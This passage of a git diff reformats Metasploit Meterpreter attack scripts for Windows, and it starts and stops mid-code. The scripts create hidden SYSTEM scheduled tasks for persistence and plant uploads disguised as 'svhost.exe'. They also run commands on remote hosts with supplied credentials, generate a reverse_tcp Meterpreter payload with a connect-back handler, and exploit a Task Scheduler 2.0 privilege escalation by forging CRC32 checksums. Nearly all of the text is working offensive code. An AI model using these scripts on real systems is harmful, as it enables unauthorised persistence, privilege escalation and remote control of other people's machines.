create scheduled task!!") + elsif success && schtype == "now" + if username == nil + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname}") + else + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /u #{username} /p #{password}") + end + end + r.channel.close + r.close end #--------------------------------------------------------------------------------------------------------- def scheduleremote(session,schtype,cmd,tmmod,cmdopt,targetsys,username,password) - execmd = "" - success = false - taskname = "syscheck#{rand(100)}" - if cmdopt != nil - cmd = "#{cmd} #{cmdopt}" - end - case schtype - when "startup" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /ru system " - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /u #{username} /p #{password} /ru system " - end - when "login" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /ru system " - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /u #{username} /p #{password} /ru system " - end - when "hourly" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys}" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" - end - when "daily" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys}" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" - end - when "minute" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /s #{targetsys}" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" - end - when "now" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /s #{targetsys} /st 00:00:00" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /s #{targetsys} /st 00:00:00 /u #{username} /p #{password}" - end - end - print_status("Scheduling command #{cmd} to run #{schtype}.....") - r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - if d =~ /successfully been created/ - print_status("The scheduled task has been successfully created") - print_status("For cleanup run schtasks /delete /tn #{taskname} /s #{targetsys} /u #{username} /p #{password} /F") - success = true - end - end - if !success - print_status("Failed to create scheduled task!!") - elsif success && schtype == "now" - if username == nil - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys}") - else - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys} /u #{username} /p #{password}") - end - end - r.channel.close - r.close + execmd = "" + success = false + taskname = "syscheck#{rand(100)}" + if cmdopt != nil + cmd = "#{cmd} #{cmdopt}" + end + case schtype + when "startup" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /ru system " + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /u #{username} /p #{password} /ru system " + end + when "login" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /ru system " + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /u #{username} /p #{password} /ru system " + end + when "hourly" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys}" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" + end + when "daily" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys}" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" + end + when "minute" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /s #{targetsys}" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" + end + when "now" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /s #{targetsys} /st 00:00:00" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /s #{targetsys} /st 00:00:00 /u #{username} /p #{password}" + end + end + print_status("Scheduling command #{cmd} to run #{schtype}.....") + r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + if d =~ /successfully been created/ + print_status("The scheduled task has been successfully created") + print_status("For cleanup run schtasks /delete /tn #{taskname} /s #{targetsys} /u #{username} /p #{password} /F") + success = true + end + end + if !success + print_status("Failed to create scheduled task!!") + elsif success && schtype == "now" + if username == nil + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys}") + else + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys} /u #{username} /p #{password}") + end + end + r.channel.close + r.close end #--------------------------------------------------------------------------------------------------------- def upload(session,file) - location = session.fs.file.expand_path("%TEMP%") - fileontrgt = "#{location}\\svhost#{rand(100)}.exe" - print_status("Uploading #{file}....") - session.fs.file.upload_file("#{fileontrgt}","#{file}") - print_status("#{file} uploaded!") - return fileontrgt + location = session.fs.file.expand_path("%TEMP%") + fileontrgt = "#{location}\\svhost#{rand(100)}.exe" + print_status("Uploading #{file}....") + session.fs.file.upload_file("#{fileontrgt}","#{file}") + print_status("#{file} uploaded!") + return fileontrgt end # Parsing of Options cmd = nil @@ -198,62 +198,62 @@ targetsys = nil username = nil password = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt + case opt - when "-c" - cmd = val - when "-e" - file = val - when "-d" - tmmod = val - schtype = "daily" - when "-hr" - tmmod = val - schtype = "hourly" - when "-m" - tmmod = val - schtype = "minute" - when "-s" - schtype = "startup" - when "-l" - schtype = "login" - when "-i" - schtype = "now" - when "-o" - cmdopt = val - when "-r" - remote = 1 - when "-t" - targetsys = val - when "-u" - username = val - when "-p" - password = val - when "-h" - helpcall = 1 - end + when "-c" + cmd = val + when "-e" + file = val + when "-d" + tmmod = val + schtype = "daily" + when "-hr" + tmmod = val + schtype = "hourly" + when "-m" + tmmod = val + schtype = "minute" + when "-s" + schtype = "startup" + when "-l" + schtype = "login" + when "-i" + schtype = "now" + when "-o" + cmdopt = val + when "-r" + remote = 1 + when "-t" + targetsys = val + when "-u" + username = val + when "-p" + password = val + when "-h" + helpcall = 1 + end } if client.platform =~ /win32|win64/ - if helpcall == 1 - usage() - elsif cmd == nil && file == nil - usage() - elsif !is_uac_enabled? and is_admin? - if file == nil - if remote == 0 - scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password) - else - scheduleremote(session,schtype,cmd,tmmod,cmdopt,targetsys,username,password) - end - else - cmd = upload(session,file) - scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password) - end - else - print_status("Meterpreter is not running under sufficient administrative rights.") - end + if helpcall == 1 + usage() + elsif cmd == nil && file == nil + usage() + elsif !is_uac_enabled? and is_admin? + if file == nil + if remote == 0 + scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password) + else + scheduleremote(session,schtype,cmd,tmmod,cmdopt,targetsys,username,password) + end + else + cmd = upload(session,file) + scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password) + end + else + print_status("Meterpreter is not running under sufficient administrative rights.") + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/schelevator.rb b/scripts/meterpreter/schelevator.rb index f10648d989..e74e08da35 100644 --- a/scripts/meterpreter/schelevator.rb +++ b/scripts/meterpreter/schelevator.rb @@ -20,33 +20,33 @@ require 'zlib' # Filter out sessions that this definitely won't work on. # if session.platform !~ /win32|win64|java/ - print_error("#{session.platform} is not supported.") - raise Rex::Script::Completed + print_error("#{session.platform} is not supported.") + raise Rex::Script::Completed end if session.sys.config.sysinfo["Architecture"] =~ /wow64/i - # - # WOW64 Filesystem Redirection prevents us opening the file directly. To make matters - # worse, meterpreter/railgun creates things in a new thread, making it much more - # difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this, - # offer a workaround and error out. - # - print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...") - raise Rex::Script::Completed + # + # WOW64 Filesystem Redirection prevents us opening the file directly. To make matters + # worse, meterpreter/railgun creates things in a new thread, making it much more + # difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this, + # offer a workaround and error out. + # + print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...") + raise Rex::Script::Completed end vuln = false winver = session.sys.config.sysinfo["OS"] affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ] affected.each { |v| - if winver.include? v - vuln = true - break - end + if winver.include? v + vuln = true + break + end } if not vuln - print_error("#{winver} is not vulnerable.") - raise Rex::Script::Completed + print_error("#{winver} is not vulnerable.") + raise Rex::Script::Completed end @@ -54,18 +54,18 @@ end # We have a chance to succeed, check params # @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-c" => [ true, "Execute the specified command" ], - "-u" => [ true, "Upload and execute the specified file" ], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"], - "-t" => [ true, "Use the specified task name" ] + "-h" => [ false, "Help menu." ], + "-c" => [ true, "Execute the specified command" ], + "-u" => [ true, "Upload and execute the specified file" ], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening"], + "-t" => [ true, "Use the specified task name" ] ) def usage - print_line("Schelevator -- Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation") - print(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Schelevator -- Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation") + print(@@exec_opts.usage) + raise Rex::Script::Completed end rhost = Rex::Socket.source_address @@ -74,66 +74,66 @@ taskname = nil cmd = nil upload_fn = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt + case opt - when "-c" - cmd = val + when "-c" + cmd = val - when "-u" - upload_fn = val - if not ::File.exists?(upload_fn) - raise "Specified file to upload does not exist!" - end + when "-u" + upload_fn = val + if not ::File.exists?(upload_fn) + raise "Specified file to upload does not exist!" + end - when "-t" - taskname = val + when "-t" + taskname = val - when "-h" - usage + when "-h" + usage - when "-r" - rhost = val + when "-r" + rhost = val - when "-p" - rport = val.to_i - end + when "-p" + rport = val.to_i + end } # Must have at least one of -c or -u if not cmd and not upload_fn - print_status("Using default reverse-connect meterpreter payload; -c or -u not specified") + print_status("Using default reverse-connect meterpreter payload; -c or -u not specified") - # Get the exe payload. - pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") - pay.datastore['LHOST'] = rhost - pay.datastore['LPORT'] = rport - raw = pay.generate - exe = Msf::Util::EXE.to_win32pe(client.framework, raw) - #and placing it on the target in %TEMP% - tempdir = client.fs.file.expand_path("%TEMP%") - tempexename = Rex::Text.rand_text_alpha(rand(8)+6) - cmd = tempdir + "\\" + tempexename + ".exe" - print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{cmd}") - fd = client.fs.file.new(cmd, "wb") - fd.write(exe) - fd.close + # Get the exe payload. + pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") + pay.datastore['LHOST'] = rhost + pay.datastore['LPORT'] = rport + raw = pay.generate + exe = Msf::Util::EXE.to_win32pe(client.framework, raw) + #and placing it on the target in %TEMP% + tempdir = client.fs.file.expand_path("%TEMP%") + tempexename = Rex::Text.rand_text_alpha(rand(8)+6) + cmd = tempdir + "\\" + tempexename + ".exe" + print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{cmd}") + fd = client.fs.file.new(cmd, "wb") + fd.write(exe) + fd.close - #get handler to be ready - handler = client.framework.exploits.create("multi/handler") - handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" - handler.datastore['LHOST'] = rhost - handler.datastore['LPORT'] = rport - handler.datastore['InitialAutoRunScript'] = "migrate -f" - handler.datastore['ExitOnSession'] = false - #start a handler to be ready - handler.exploit_simple( - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) + #get handler to be ready + handler = client.framework.exploits.create("multi/handler") + handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" + handler.datastore['LHOST'] = rhost + handler.datastore['LPORT'] = rport + handler.datastore['InitialAutoRunScript'] = "migrate -f" + handler.datastore['ExitOnSession'] = false + #start a handler to be ready + handler.exploit_simple( + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true + ) end if cmd - print_status("Using command: #{cmd}") + print_status("Using command: #{cmd}") end # @@ -142,148 +142,148 @@ end sysdir = session.fs.file.expand_path("%SystemRoot%") tmpdir = session.fs.file.expand_path("%TEMP%") if upload_fn - begin - location = tmpdir.dup - ext = upload_fn.split('.') - if ext - ext = ext.last.downcase - if ext == "exe" - location << "\\svhost#{rand(100)}.exe" - else - location << "\\TMP#{rand(100)}.#{ext}" - end - else - location << "\\TMP#{rand(100)}" - end + begin + location = tmpdir.dup + ext = upload_fn.split('.') + if ext + ext = ext.last.downcase + if ext == "exe" + location << "\\svhost#{rand(100)}.exe" + else + location << "\\TMP#{rand(100)}.#{ext}" + end + else + location << "\\TMP#{rand(100)}" + end - print_status("Uploading #{upload_fn} to #{location}....") - session.fs.file.upload_file(location, upload_fn) - print_status("Upload complete.") - rescue ::Exception => e - print_error("Error uploading file #{upload_fn}: #{e.class} #{e}") - raise e - end + print_status("Uploading #{upload_fn} to #{location}....") + session.fs.file.upload_file(location, upload_fn) + print_status("Upload complete.") + rescue ::Exception => e + print_error("Error uploading file #{upload_fn}: #{e.class} #{e}") + raise e + end - cmd ||= location + cmd ||= location end def crc32(data) - table = Zlib.crc_table - crc = 0xffffffff - data.unpack('C*').each { |b| - crc = table[(crc & 0xff) ^ b] ^ (crc >> 8) - } - crc + table = Zlib.crc_table + crc = 0xffffffff + data.unpack('C*').each { |b| + crc = table[(crc & 0xff) ^ b] ^ (crc >> 8) + } + crc end def fix_crc32(data, old_crc) - # - # CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably - # reversed from Microsoft's code) - # - bwd_table = [ - 0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82, - 0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904, - 0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF, - 0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449, - 0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618, - 0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E, - 0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55, - 0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3, - 0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7, - 0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71, - 0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA, - 0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C, - 0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D, - 0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB, - 0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820, - 0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6, - 0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68, - 0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE, - 0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725, - 0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3, - 0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2, - 0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574, - 0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF, - 0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839, - 0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D, - 0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B, - 0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450, - 0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6, - 0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387, - 0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601, - 0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA, - 0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C, - 0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717, - 0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291, - 0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A, - 0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC, - 0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D, - 0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B, - 0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0, - 0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546, - 0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462, - 0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4, - 0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F, - 0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9, - 0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8, - 0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E, - 0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5, - 0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633, - 0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD, - 0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B, - 0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0, - 0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936, - 0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67, - 0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1, - 0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A, - 0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC, - 0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288, - 0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E, - 0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5, - 0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43, - 0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812, - 0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94, - 0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F, - 0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9 - ] + # + # CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably + # reversed from Microsoft's code) + # + bwd_table = [ + 0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82, + 0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904, + 0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF, + 0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449, + 0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618, + 0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E, + 0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55, + 0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3, + 0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7, + 0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71, + 0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA, + 0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C, + 0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D, + 0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB, + 0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820, + 0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6, + 0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68, + 0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE, + 0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725, + 0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3, + 0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2, + 0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574, + 0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF, + 0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839, + 0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D, + 0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B, + 0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450, + 0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6, + 0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387, + 0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601, + 0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA, + 0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C, + 0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717, + 0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291, + 0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A, + 0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC, + 0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D, + 0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B, + 0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0, + 0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546, + 0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462, + 0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4, + 0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F, + 0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9, + 0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8, + 0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E, + 0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5, + 0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633, + 0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD, + 0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B, + 0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0, + 0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936, + 0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67, + 0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1, + 0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A, + 0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC, + 0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288, + 0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E, + 0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5, + 0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43, + 0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812, + 0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94, + 0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F, + 0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9 + ] - crc = crc32(data[0, data.length - 12]) - data[-12, 4] = [crc].pack('V') + crc = crc32(data[0, data.length - 12]) + data[-12, 4] = [crc].pack('V') - data[-12, 12].unpack('C*').reverse.each { |b| - old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff - } - data[-12, 4] = [old_crc].pack('V') + data[-12, 12].unpack('C*').reverse.each { |b| + old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff + } + data[-12, 4] = [old_crc].pack('V') end def exec_schtasks(cmdline, purpose) - lns = cmd_exec("cmd.exe /c " + cmdline + " && echo SCHELEVATOR") - success = false - lns.each_line { |ln| - ln.chomp! - if ln =~ /^SCHELEVATOR$/ - success = true - else - print_status(ln) - end - } - raise "Unable to #{purpose}!" if not success + lns = cmd_exec("cmd.exe /c " + cmdline + " && echo SCHELEVATOR") + success = false + lns.each_line { |ln| + ln.chomp! + if ln =~ /^SCHELEVATOR$/ + success = true + else + print_status(ln) + end + } + raise "Unable to #{purpose}!" if not success end def read_task_file(taskname, taskfile) - print_status("Reading the task file contents from #{taskfile}...") + print_status("Reading the task file contents from #{taskfile}...") - # Can't read the file directly on 2008? - content = '' - fd = client.fs.file.new(taskfile, "rb") - until fd.eof? - content << fd.read - end - fd.close + # Can't read the file directly on 2008? + content = '' + fd = client.fs.file.new(taskfile, "rb") + until fd.eof? + content << fd.read + end + fd.close - content + content end @@ -306,15 +306,15 @@ content = read_task_file(taskname, taskfile) # Double-check that we got what we expect. # if content[0,2] != "\xff\xfe" - # - # Convert to unicode, since it isn't already - # - content = content.unpack('C*').pack('v*') + # + # Convert to unicode, since it isn't already + # + content = content.unpack('C*').pack('v*') else - # - # NOTE: we strip the BOM here to exclude it from the crc32 calculation - # - content = content[2,content.length] + # + # NOTE: we strip the BOM here to exclude it from the crc32 calculation + # + content = content[2,content.length] end diff --git a/scripts/meterpreter/schtasksabuse.rb b/scripts/meterpreter/schtasksabuse.rb index 064e41602d..c17a82378f 100644 --- a/scripts/meterpreter/schtasksabuse.rb +++ b/scripts/meterpreter/schtasksabuse.rb @@ -11,14 +11,14 @@ session = client # Setting Arguments @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-c" => [ true,"Commands to execute. Several commands can be given but separated by commas and enclose the list in double quotes if arguments are used."], - "-u" => [ true,"Username to schedule task, if none is given the current user credentials will be used."], - "-p" => [ true,"Password for user account specified, it must be given if a user is given."], - "-d" => [ true,"Delay between the execution of commands in seconds, default is 2 seconds if not given."], - "-t" => [ true,"Remote system to schedule job."], - "-l" => [ true,"Text file with list of targets, one per line."], - "-s" => [ true,"Text file with list of commands, one per line."] + "-h" => [ false,"Help menu." ], + "-c" => [ true,"Commands to execute. Several commands can be given but separated by commas and enclose the list in double quotes if arguments are used."], + "-u" => [ true,"Username to schedule task, if none is given the current user credentials will be used."], + "-p" => [ true,"Password for user account specified, it must be given if a user is given."], + "-d" => [ true,"Delay between the execution of commands in seconds, default is 2 seconds if not given."], + "-t" => [ true,"Remote system to schedule job."], + "-l" => [ true,"Text file with list of targets, one per line."], + "-s" => [ true,"Text file with list of commands, one per line."] ) #Setting Argument variables commands = [] @@ -28,128 +28,128 @@ password = nil delay = 2 help = 0 def usage - print_status( "This Meterpreter script is for running commands on targets system using the") - print_status( "Windows Scheduler, it is based on the tool presented but not released by Val Smith") - print_status( "in Defcon 16 ATAbuser. If no user and password is given it will use the permissions") - print_status( "of the process Meterpreter is running under.") - print_status( "Options:") - print_status( @@exec_opts.usage ) + print_status( "This Meterpreter script is for running commands on targets system using the") + print_status( "Windows Scheduler, it is based on the tool presented but not released by Val Smith") + print_status( "in Defcon 16 ATAbuser. If no user and password is given it will use the permissions") + print_status( "of the process Meterpreter is running under.") + print_status( "Options:") + print_status( @@exec_opts.usage ) end def abuse(session,targets,commands,username,password,delay) - #for each target - targets.each do |t| - next if t.strip.length < 1 - next if t[0,1] == "#" - #for eacg command - commands.each do |c| - next if c.strip.length < 1 - next if c[0,1] == "#" - taskname = "syscheck#{rand(100)}" - success = false - #check if user name and password where given, if not credential of running process used - if username == nil && password == nil - print_status("Scheduling command #{c} to run .....") - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\" /sc once /ru system /s #{t} /st 00:00:00" - r = session.sys.process.execute("cmd.exe /c 